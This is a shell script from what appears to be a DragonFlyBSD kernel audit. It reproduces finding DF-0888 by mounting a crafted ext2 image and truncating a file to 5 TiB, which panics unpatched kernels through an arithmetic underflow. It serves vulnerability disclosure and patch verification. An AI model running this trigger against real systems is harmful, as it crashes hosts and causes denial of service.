DragonFlyBSD Kernel Audit
DF-0888 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0888 run script (kernel trigger — must be run as root on the guest).
#
# Preconditions:
#   - The crafted image df0888.ext2 has been pushed to the guest at /root/df0888.ext2
#   - ext2fs.ko is loadable (/boot/kernel/ext2fs.ko exists)
#   - /root/trigger is built (see build.sh)
#
# On the UNPATCHED kernel (#0): ftruncate(5TiB) on the patched file triggers
#   ext2_ind_truncate -> ext2_indirtrunc(level=TRIPLE) -> underflowed bzero ->
#   kernel page fault in memset+0xf0 (Fatal trap 12). Guest dies in DDB.
#
# On the PATCHED kernel (#1): ext2_truncate rejects length > structural max
#   -> ftruncate returns -1 errno=27 (EFBIG). No panic.
set -e
VNDEV=/dev/vn0
MNT=/mnt/df0888
IMG=/root/df0888.ext2

# attach image + mount ext2fs (root-only)
vnconfig -c $VNDEV $IMG 2>/dev/null || true
mkdir -p $MNT
mount -t ext2fs $VNDEV $MNT

# deterministic arithmetic proof (userspace, no kernel)
./harness; echo "HARNESS_EXIT=$?"

# kernel trigger: ftruncate the patched file to 5 TiB
./trigger $MNT/target
echo "TRIGGER_RC=$?"

# also run the harness for completeness
umount $MNT 2>/dev/null || true
vnconfig -u $VNDEV 2>/dev/null || true